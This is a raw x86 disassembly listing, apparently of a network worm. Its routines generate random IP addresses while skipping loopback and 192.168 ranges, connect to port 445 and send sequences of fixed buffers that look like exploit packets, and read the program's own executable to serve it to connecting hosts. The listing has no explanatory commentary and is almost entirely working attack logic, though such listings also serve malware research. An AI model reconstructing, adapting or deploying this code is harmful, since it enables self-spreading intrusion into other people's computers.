		retn
; ---------------------------------------------------------------------------
		db 64h,	0A3h, 0
		dd 0C3000000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E245	proc near		; CODE XREF: sub_43E2E0+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_43F8A5
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh

loc_43E268:				; CODE XREF: sub_43E245+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E268
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_43E290
; ---------------------------------------------------------------------------

loc_43E27A:				; CODE XREF: sub_43E245+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1

loc_43E290:				; CODE XREF: sub_43E245+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_43E27A
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_43E2BC
; ---------------------------------------------------------------------------

loc_43E2AA:				; CODE XREF: sub_43E245+88j
		push	offset sub_404DE5
		push	edi
		call	sub_43F929
		add	esp, 8
		add	[ebp+var_3], 1

loc_43E2BC:				; CODE XREF: sub_43E245+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_43E2AA
		push	[ebp+arg_8]
		push	edi
		call	sub_43F929
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E245	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E2E0	proc near		; CODE XREF: sub_43F401+97p

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	404DE3h
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_43E245
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_43F719
		leave
		retn
sub_43E2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E305	proc near		; CODE XREF: .data:0043F3BFp
					; sub_43F401+F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_43F869
		mov	edi, eax
		or	edi, edi
		jz	short loc_43E335
		xor	eax, eax
		jmp	short loc_43E36D
; ---------------------------------------------------------------------------

loc_43E335:				; CODE XREF: sub_43E305+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_43F899
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_43F875
		or	edi, edi
		jz	short loc_43E35D
		xor	eax, eax
		jmp	short loc_43E36D
; ---------------------------------------------------------------------------

loc_43E35D:				; CODE XREF: sub_43E305+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_43E36A
		mov	eax, 2
		jmp	short loc_43E36D
; ---------------------------------------------------------------------------

loc_43E36A:				; CODE XREF: sub_43E305+5Cj
		xor	eax, eax
		inc	eax

loc_43E36D:				; CODE XREF: sub_43E305+2Ej
					; sub_43E305+56j ...
		pop	edi
		leave
		retn
sub_43E305	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E370	proc near		; CODE XREF: .data:0043F398p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_43F881
		mov	edi, eax
		or	edi, edi
		jz	short loc_43E395
		xor	eax, eax
		jmp	short loc_43E3C0
; ---------------------------------------------------------------------------

loc_43E395:				; CODE XREF: sub_43E370+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_43F88D
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_43F875
		or	edi, edi
		jz	short loc_43E3BD
		xor	eax, eax
		jmp	short loc_43E3C0
; ---------------------------------------------------------------------------

loc_43E3BD:				; CODE XREF: sub_43E370+47j
		xor	eax, eax
		inc	eax

loc_43E3C0:				; CODE XREF: sub_43E370+23j
					; sub_43E370+4Bj
		pop	edi
		leave
		retn
sub_43E370	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43F5C1
		cmp	eax, 0FFFFFFFFh
		jz	loc_43E507
		push	offset sub_404DDF
		lea	eax, [ebp-100h]
		push	eax
		call	sub_43F941
		add	esp, 8
		or	eax, eax
		jz	loc_43E4C9
		push	404DDBh
		lea	edx, [ebp-100h]
		push	edx
		call	sub_43F941
		add	esp, 8
		or	eax, eax
		jz	loc_43E4C9
		push	0
		push	3Dh
		push	404D9Dh
		push	dword ptr [ebp+8]
		call	sub_43F5CD
		push	dword ptr ds:loc_403004
		push	404D86h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_43F911
		add	esp, 0Ch
		lea	ecx, [ebp-200h]
		or	eax, 0FFFFFFFFh

loc_43E45C:				; CODE XREF: .data:0043E461j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E45C
		push	0
		push	eax
		lea	edx, [ebp-200h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_43F5CD

loc_43E475:				; CODE XREF: .data:0043E4BBj
		mov	eax, dword ptr ds:loc_403004
		mov	edi, eax
		sub	edi, ebx
		cmp	edi, 1000h
		jb	short loc_43E48B
		mov	edi, 1000h

loc_43E48B:				; CODE XREF: .data:0043E484j
		or	edi, edi
		jz	short loc_43E4BD
		push	0
		push	edi
		mov	eax, ebx
		add	eax, dword ptr ds:loc_403004+4
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43F5CD
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43E507
		cmp	esi, 1000h
		jb	short loc_43E4BD
		add	ebx, esi
		push	64h
		call	sub_43F779
		jmp	short loc_43E475
; ---------------------------------------------------------------------------

loc_43E4BD:				; CODE XREF: .data:0043E48Dj
					; .data:0043E4B0j
		push	offset sub_404098
		call	sub_43F731
		jmp	short loc_43E4EB
; ---------------------------------------------------------------------------

loc_43E4C9:				; CODE XREF: .data:0043E406j
					; .data:0043E422j
		push	0
		push	15h
		push	404D70h
		push	dword ptr [ebp+8]
		call	sub_43F5CD
		push	0
		push	0Dh
		push	40409Ch
		push	dword ptr [ebp+8]
		call	sub_43F5CD

loc_43E4EB:				; CODE XREF: .data:0043E4C7j
		push	7D0h
		call	sub_43F779
		push	2
		push	dword ptr [ebp+8]
		call	sub_43F5D9
		push	dword ptr [ebp+8]
		call	sub_43F561

loc_43E507:				; CODE XREF: .data:0043E3EAj
					; .data:0043E4A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		push	offset sub_404098
		call	sub_43F725
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	403010h
		call	sub_43F749
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_43E54D
		push	1
		call	sub_43F6B9

loc_43E54D:				; CODE XREF: .data:0043E544j
		push	0
		push	ebx
		call	sub_43F6DD
		mov	dword ptr ds:loc_403004, eax
		push	eax
		push	0
		call	sub_43F73D
		mov	dword ptr ds:loc_403004+4, eax
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr ds:loc_403004
		push	dword ptr ds:loc_403004+4
		push	ebx
		call	sub_43F755
		push	ebx
		call	sub_43F6F5
		push	0
		push	1
		push	2
		call	sub_43F5E5
		mov	esi, eax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		call	sub_43F76D
		mov	word ptr [ebp-24h], 2
		and	dword ptr [ebp-20h], 0
		mov	word ptr [ebp-26h], 0

loc_43E5AD:				; CODE XREF: .data:0043E5EDj
		movzx	eax, word ptr [ebp-26h]
		add	eax, 50h
		mov	word ptr ds:loc_404094,	ax
		movzx	eax, word ptr ds:loc_404094
		push	eax
		call	sub_43F591
		mov	edx, eax
		mov	[ebp-22h], dx
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	esi
		call	sub_43F555
		mov	[ebp-2Ch], eax
		inc	word ptr [ebp-26h]
		or	eax, eax
		jz	short loc_43E5EF
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 0FDE8h
		jl	short loc_43E5AD

loc_43E5EF:				; CODE XREF: .data:0043E5E2j
		push	64h
		push	esi
		call	sub_43F5B5
		mov	dword ptr [ebp-4], 10h

loc_43E5FE:				; CODE XREF: .data:0043E629j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_43F549
		mov	edi, eax
		lea	eax, [ebp-34h]
		push	eax
		push	0
		push	edi
		push	40141Ah
		push	0
		push	0
		call	sub_43F79D
		push	eax
		call	sub_43F6F5
		jmp	short loc_43E5FE
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E630	proc near		; CODE XREF: .data:0043EE63p

var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_13]
		lea	esi, sub_4040AA
		mov	ecx, 4
		rep movsd
		lea	edi, [ebp+var_18]
		lea	esi, loc_4040B9+1
		mov	ecx, 5
		rep movsb

loc_43E659:				; CODE XREF: sub_43E630+51j
					; sub_43E630+74j
		call	sub_43F8F9
		mov	ecx, 0DDh
		cdq
		idiv	ecx
		lea	edi, [edx+3]
		mov	ebx, edi
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		jmp	short loc_43E6AA
; ---------------------------------------------------------------------------

loc_43E676:				; CODE XREF: sub_43E630+81j
		mov	al, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		cmp	al, [ebp+edx+var_13]
		jz	short loc_43E659
		movzx	eax, [ebp+var_2]
		cmp	eax, 5
		jnb	short loc_43E6A6
		movzx	eax, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		movzx	ecx, [ebp+edx+var_13]
		cmp	eax, ecx
		jb	short loc_43E6A6
		movzx	edx, [ebp+edx+var_18]
		cmp	eax, edx
		jbe	short loc_43E659

loc_43E6A6:				; CODE XREF: sub_43E630+5Aj
					; sub_43E630+6Bj
		inc	[ebp+var_2]

loc_43E6AA:				; CODE XREF: sub_43E630+44j
		movzx	eax, [ebp+var_2]
		cmp	eax, 10h
		jb	short loc_43E676

loc_43E6B3:				; CODE XREF: sub_43E630+ACj
		call	sub_43F8F9
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_19], bl
		movzx	eax, [ebp+var_3]
		cmp	eax, 0C0h
		jnz	short loc_43E6DE
		movzx	eax, [ebp+var_19]
		cmp	eax, 0A8h
		jz	short loc_43E6B3

loc_43E6DE:				; CODE XREF: sub_43E630+A1j
		call	sub_43F8F9
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1A], bl
		call	sub_43F8F9
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1B], bl
		movzx	eax, [ebp+var_1B]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		movzx	eax, [ebp+var_19]
		push	eax
		movzx	eax, [ebp+var_3]
		push	eax
		push	404D64h
		push	[ebp+arg_0]
		call	sub_43F911
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E731	proc near		; CODE XREF: .data:0043F068p

var_89F4	= dword	ptr -89F4h
var_89F0	= dword	ptr -89F0h
var_89EC	= dword	ptr -89ECh
var_89E8	= dword	ptr -89E8h
var_89E3	= byte ptr -89E3h
var_89E2	= word ptr -89E2h
var_89E0	= byte ptr -89E0h
var_89D8	= byte ptr -89D8h
var_8970	= byte ptr -8970h
var_6900	= byte ptr -6900h
var_68E2	= byte ptr -68E2h
var_6842	= byte ptr -6842h
var_6136	= dword	ptr -6136h
var_6126	= byte ptr -6126h
var_6112	= byte ptr -6112h
var_60A2	= byte ptr -60A2h
var_55DE	= byte ptr -55DEh
var_403A	= byte ptr -403Ah
var_4039	= byte ptr -4039h
var_3FBD	= byte ptr -3FBDh
var_37ED	= byte ptr -37EDh
var_3342	= byte ptr -3342h
var_3058	= dword	ptr -3058h
var_3054	= dword	ptr -3054h
var_3050	= dword	ptr -3050h
var_304C	= word ptr -304Ch
var_304A	= word ptr -304Ah
var_3048	= dword	ptr -3048h
var_303C	= byte ptr -303Ch
var_3039	= byte ptr -3039h
var_300F	= byte ptr -300Fh
var_300D	= byte ptr -300Dh
var_300C	= byte ptr -300Ch
var_2FC7	= byte ptr -2FC7h
var_2F83	= byte ptr -2F83h
var_2987	= byte ptr -2987h
var_21A3	= byte ptr -21A3h
var_2193	= byte ptr -2193h
var_1E6F	= byte ptr -1E6Fh
var_1E6B	= byte ptr -1E6Bh
var_1E5F	= byte ptr -1E5Fh
var_1BDA	= byte ptr -1BDAh
var_1BD9	= byte ptr -1BD9h
var_B46		= byte ptr -0B46h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 89F4h
		call	sub_43F66D
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_3054],	1
		mov	[ebp+var_89F0],	1
		lea	edi, [ebp+var_89E0]
		lea	esi, sub_4049F0
		movsd
		movsd
		and	[ebp+var_89F4],	0
		mov	[ebp+var_89E2],	1BDh
		push	0
		push	1
		push	2
		call	sub_43F5E5
		mov	[ebp+var_54], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED87
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_89EC],	eax
		push	eax
		call	sub_43F5A9
		push	1Dh
		push	eax
		lea	edi, [ebp+var_6900]
		push	edi
		call	sub_43F785
		lea	eax, [ebp+var_6900]
		push	eax
		push	404D5Ah
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F911
		add	esp, 0Ch
		xor	ebx, ebx

loc_43E7C2:				; CODE XREF: sub_43E731+A2j
		mov	dl, [ebp+ebx+var_7C]
		mov	[ebp+ebx*2+var_50], dl
		mov	[ebp+ebx*2+var_4F], 0
		inc	ebx
		cmp	ebx, 28h
		jl	short loc_43E7C2
		push	60h
		push	offset sub_404525
		lea	eax, [ebp+var_303C]
		push	eax
		call	sub_43F8D5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F791
		mov	edi, eax
		shl	edi, 1
		push	edi
		lea	edi, [ebp+var_50]
		push	edi
		lea	edi, [ebp+var_300C]
		push	edi
		call	sub_43F8D5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F791
		push	9
		push	offset sub_40457C
		mov	edi, eax
		shl	edi, 1
		lea	edi, [ebp+edi+var_300D]
		push	edi
		call	sub_43F8D5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F791
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 34h
		mov	edx, edi
		mov	[ebp+var_403A],	dl
		push	1
		lea	eax, [ebp+var_403A]
		push	eax
		lea	eax, [ebp+var_3039]
		push	eax
		call	sub_43F8D5
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_43F791
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 9
		mov	edx, edi
		mov	[ebp+var_89E3],	dl
		push	1
		lea	eax, [ebp+var_89E3]
		push	eax
		lea	eax, [ebp+var_300F]
		push	eax
		call	sub_43F8D5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3058],	eax
		push	0E29h
		push	31h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_43F8E1
		add	esp, 48h
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		call	sub_43F76D
		mov	[ebp+var_304C],	2
		movsx	eax, [ebp+var_89E2]
		movzx	eax, ax
		push	eax
		call	sub_43F591
		mov	edi, eax
		mov	[ebp+var_304A],	di
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3048],	eax
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		push	[ebp+var_54]
		call	sub_43F56D
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43E904
		mov	[ebp+var_3054],	2
		jmp	loc_43ED7F
; ---------------------------------------------------------------------------

loc_43E904:				; CODE XREF: sub_43E731+1C2j
		push	64h
		call	sub_43F779
		push	0
		push	89h
		push	404313h
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		push	0
		push	0A8h
		push	40439Dh
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		push	0
		push	0DEh
		push	404446h
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		mov	eax, [ebp+var_80]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43E9DE
		cmp	eax, 46h
		jge	short loc_43E9E3

loc_43E9DE:				; CODE XREF: sub_43E731+2A6j
		jmp	loc_43ED75
; ---------------------------------------------------------------------------

loc_43E9E3:				; CODE XREF: sub_43E731+2ABj
		lea	eax, [ebp+var_2F83]
		mov	[ebp+var_89E8],	eax
		cmp	byte ptr [eax],	31h
		setnz	al
		and	eax, 1
		mov	[ebp+var_3050],	eax
		jz	loc_43EAF7
		push	0DACh
		push	90h
		lea	eax, [ebp+var_2987]
		push	eax
		call	sub_43F8E1
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_21A3]
		push	eax
		call	sub_43F8D5
		push	[ebp+arg_8]
		push	[ebp+var_3058]
		lea	eax, [ebp+var_2193]
		push	eax
		call	sub_43F8D5
		push	4
		push	404D55h
		lea	eax, [ebp+var_1E6F]
		push	eax
		call	sub_43F8D5
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_1E6B]
		push	eax
		call	sub_43F8D5
		push	[ebp+var_3058]
		call	sub_43F791
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_1E5F]
		push	edi
		call	sub_43F8D5
		add	esp, 48h
		xor	ebx, ebx

loc_43EA9F:				; CODE XREF: sub_43E731+38Bj
		mov	dl, [ebp+ebx+var_2987]
		mov	[ebp+ebx*2+var_1BDA], dl
		mov	[ebp+ebx*2+var_1BD9], 0
		inc	ebx
		cmp	ebx, 0DACh
		jl	short loc_43EA9F
		mov	[ebp+var_82], 0
		mov	[ebp+var_81], 0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_43F8E1
		push	1C52h
		push	31h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_43F8E1
		add	esp, 18h
		jmp	short loc_43EB59
; ---------------------------------------------------------------------------

loc_43EAF7:				; CODE XREF: sub_43E731+2CDj
		push	7D0h
		push	90h
		lea	eax, [ebp+var_68E2]
		push	eax
		call	sub_43F8E1
		push	[ebp+var_3058]
		call	sub_43F791
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_6842]
		push	edi
		call	sub_43F8D5
		lea	eax, [ebp+var_89E0]
		push	eax
		call	sub_43F791
		push	eax
		lea	edi, [ebp+var_89E0]
		push	edi
		lea	edi, [ebp+var_6126]
		push	edi
		call	sub_43F8D5
		add	esp, 24h
		mov	eax, dword ptr ds:loc_404936+2
		mov	[ebp+var_6136],	eax

loc_43EB59:				; CODE XREF: sub_43E731+3C4j
		push	0
		movsx	eax, [ebp+var_403A]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_303C]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		push	0
		push	68h
		push	offset sub_404586
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		push	0
		push	0A0h
		push	offset sub_4045EF
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		cmp	[ebp+var_3050],	0
		jz	loc_43ED01
		push	68h
		push	40479Eh
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_43F8D5
		push	1B5Ah
		lea	eax, [ebp+var_1BDA]
		push	eax
		lea	eax, [ebp+var_8970]
		push	eax
		call	sub_43F8D5
		push	70h
		push	404807h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_43F8D5
		push	0A5Eh
		lea	eax, [ebp+var_B46]
		push	eax
		lea	eax, [ebp+var_60A2]
		push	eax
		call	sub_43F8D5
		push	84h
		push	offset sub_404878
		lea	eax, [ebp+var_55DE]
		push	eax
		call	sub_43F8D5
		add	esp, 3Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_89D8]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_43F779
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5C1
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43ED75
		push	0
		push	0FDCh
		lea	eax, [ebp+var_6112]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43ED67
		jmp	short loc_43ED67
; ---------------------------------------------------------------------------

loc_43ED01:				; CODE XREF: sub_43E731+4FAj
		push	7Ch
		push	404690h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_43F8D5
		push	7D0h
		lea	eax, [ebp+var_68E2]
		push	eax
		lea	eax, [ebp+var_3FBD]
		push	eax
		call	sub_43F8D5
		push	90h
		push	40470Dh
		lea	eax, [ebp+var_37ED]
		push	eax
		call	sub_43F8D5
		add	esp, 24h
		mov	[ebp+var_3342],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_4039]
		push	eax
		push	[ebp+var_54]
		call	sub_43F5CD
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2

loc_43ED67:				; CODE XREF: sub_43E731+5CCj
					; sub_43E731+5CEj
		push	64h
		call	sub_43F779
		and	[ebp+var_3054],	0

loc_43ED75:				; CODE XREF: sub_43E731+216j
					; sub_43E731+258j ...
		push	2
		push	[ebp+var_54]
		call	sub_43F5D9

loc_43ED7F:				; CODE XREF: sub_43E731+1CEj
		push	[ebp+var_54]
		call	sub_43F561

loc_43ED87:				; CODE XREF: sub_43E731+53j
		mov	eax, [ebp+var_3054]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E731	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ED92	proc near		; CODE XREF: .data:loc_43EE06p

var_32		= byte ptr -32h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	edi
		push	31h
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_43F585
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43EDAE
		xor	eax, eax
		jmp	short loc_43EDC8
; ---------------------------------------------------------------------------

loc_43EDAE:				; CODE XREF: sub_43ED92+16j
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_43F579
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43EDC1
		xor	eax, eax
		jmp	short loc_43EDC8
; ---------------------------------------------------------------------------

loc_43EDC1:				; CODE XREF: sub_43ED92+29j
		mov	eax, [edi+0Ch]
		mov	esi, [eax]
		mov	eax, [esi]

loc_43EDC8:				; CODE XREF: sub_43ED92+1Aj
					; sub_43ED92+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_43ED92	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		call	sub_43F701
		push	eax
		call	sub_43F91D
		mov	esi, 254h
		mov	eax, esi
		add	eax, 0Ah
		push	eax
		push	0
		call	sub_43F73D
		mov	ebx, eax
		push	esi
		push	4040BFh
		push	ebx
		call	sub_43F8D5
		add	esp, 10h

loc_43EE06:				; CODE XREF: .data:0043EE20j
					; .data:0043EE5Aj ...
		call	sub_43ED92
		mov	[ebp-10Ch], eax
		or	eax, eax
		jnz	short loc_43EE22
		push	384h
		call	sub_43F8BD
		pop	ecx
		jmp	short loc_43EE06
; ---------------------------------------------------------------------------

loc_43EE22:				; CODE XREF: .data:0043EE13j
		mov	al, [ebp-10Ch]
		mov	[ebp-111h], al
		mov	al, [ebp-10Bh]
		mov	[ebp-112h], al
		mov	al, [ebp-10Ah]
		mov	[ebp-135h], al
		cmp	byte ptr [ebp-111h], 7Fh
		jnz	short loc_43EE5C
		push	384h
		call	sub_43F8BD
		pop	ecx
		jmp	short loc_43EE06
; ---------------------------------------------------------------------------

loc_43EE5C:				; CODE XREF: .data:0043EE4Dj
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43E630
		push	0
		call	sub_43F8BD
		add	esp, 8
		call	sub_43F8F9
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-134h], dl
		call	sub_43F8F9
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-131h], dl
		call	sub_43F8F9
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-132h], dl
		call	sub_43F8F9
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-133h], dl
		mov	al, [ebp-133h]
		cmp	al, 5
		jnb	short loc_43EEF9
		mov	al, [ebp-112h]
		mov	[ebp-134h], al
		mov	al, [ebp-133h]
